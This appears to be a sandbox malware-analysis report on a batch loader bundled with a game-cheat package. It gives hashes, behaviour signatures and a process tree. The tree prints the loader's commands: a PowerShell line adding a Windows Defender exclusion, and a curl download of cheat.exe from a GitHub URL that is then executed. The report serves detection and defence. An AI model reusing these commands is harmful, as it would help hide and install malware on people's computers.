Overview
overview
8Static
static
1AssetExter...al.lnk
windows10-2004-x64
8AssetExter...al.lnk
windows11-ltsc_2024-x64
8AssetExter...ss.dll
windows10-2004-x64
1AssetExter...ss.dll
windows11-ltsc_2024-x64
1AssetExter...es.bat
windows10-2004-x64
8AssetExter...es.bat
windows11-ltsc_2024-x64
8AssetExter...ry.dll
windows10-2004-x64
1AssetExter...ry.dll
windows11-ltsc_2024-x64
1Mal/AssetE...al.lnk
windows10-2004-x64
8Mal/AssetE...al.lnk
windows11-ltsc_2024-x64
8Mal/AssetE...ss.dll
windows10-2004-x64
1Mal/AssetE...ss.dll
windows11-ltsc_2024-x64
1Mal/AssetE...es.bat
windows10-2004-x64
8Mal/AssetE...es.bat
windows11-ltsc_2024-x64
8Mal/AssetE...ry.dll
windows10-2004-x64
1Mal/AssetE...ry.dll
windows11-ltsc_2024-x64
1Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
08/08/2026, 23:59
Static task
static1
Behavioral task
behavioral1
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral3
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral4
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral5
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral6
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260710-en
Behavioral task
behavioral7
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral8
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral9
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral10
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral11
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral12
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral13
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral14
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral15
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral16
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
General
- Target Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
- Size 3KB
- Sample260808-31te3azzgx
- SHA256 8c224b994c1fbe4af638b8a8bb0ce7b2f49472e8fd296716516e0bc35d5d6524
- MD5 f6458bbcce1e3c8b28253e37a6e87acb
- SHA1 dc33e91a252ae5e1d319c733f46903c22ba9c020
- SHA512 d00e41fd0dbd0b03023754cebab29d67aae18358692d258479f3e5a4e148d4637ae7aef0137b1c53be071066c27f9359d308b64e74cbdd84c38723e9edb739f0
- TLSH T10961991A30197024C2F19DA04E352176F18976CBAA145EDCF42FD0B85F22BC63AF74D9
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5408 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 28 4720 curl.exe - Executes dropped EXE 1 IoCs
pid Process 4372 cheat.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3736 cmd.exe - Delays execution with timeout.exe 7 IoCs
pid Process 3584 timeout.exe 3480 timeout.exe 940 timeout.exe 3324 timeout.exe 3068 timeout.exe 5076 timeout.exe 1732 timeout.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5408 powershell.exe 5408 powershell.exe 4372 cheat.exe 4372 cheat.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5408 powershell.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3736 wrote to memory of 4988 3736 cmd.exe 87 PID 4988 wrote to memory of 5416 4988 net.exe 88 PID 3736 wrote to memory of 940 3736 cmd.exe 89 PID 3736 wrote to memory of 3324 3736 cmd.exe 90 PID 3736 wrote to memory of 3068 3736 cmd.exe 91 PID 3736 wrote to memory of 5408 3736 cmd.exe 92 PID 3736 wrote to memory of 4720 3736 cmd.exe 93 PID 3736 wrote to memory of 5076 3736 cmd.exe 96 PID 3736 wrote to memory of 1732 3736 cmd.exe 97 PID 3736 wrote to memory of 4372 3736 cmd.exe 98 PID 3736 wrote to memory of 3584 3736 cmd.exe 99 PID 3736 wrote to memory of 3480 3736 cmd.exe 101
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\dependencies\Libraries.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3736 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:5416
-
-
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
PID:940
-
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
PID:3324
-
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
PID:3068
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5408
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C:\Windows\system32\curl.execurl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"2⤵
- Downloads MZ/PE file
PID:4720
-
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
PID:5076
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak2⤵
- Delays execution with timeout.exe
PID:1732
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C:\Users\Admin\AppData\Local\Temp\cheat.exe"C:\Users\Admin\AppData\Local\Temp\cheat.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4372
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
PID:3584
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak2⤵
- Delays execution with timeout.exe
PID:3480
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qwwslb5g.te1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
- Size 676KB
- SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
- MD5 1f86b763eec23eb36f5a530763b7a65d
- SHA1 79ae711c84382764dbdd1af03c12b5d61d9e1cfb
- SHA512 502b0364dc0136ccac70be2408cd98628cfa500a444fb97d72858c31b692d3223e1a11c6bd26f80bd09ebf6ad66ecf03429ff08a485182d7d7070c4115eb714e
- SSDEEP 6144:51oqMZHuAx9Jb4Fo2W3NkWQWrpoTSS2I5trhzkfgbSYB0U5gdIbmJFhsmNkrr3ZF:EbWTSSfKfcSYrgdIoyNrr3ZLC5Kcm
- TLSH T15BE4AE15A6E112F9E177C13ECAA64A56FAF2BC09076097C703E456E42F17BE44B3E312
- MD5 SHA1 SHA512 SSDEEP TLSH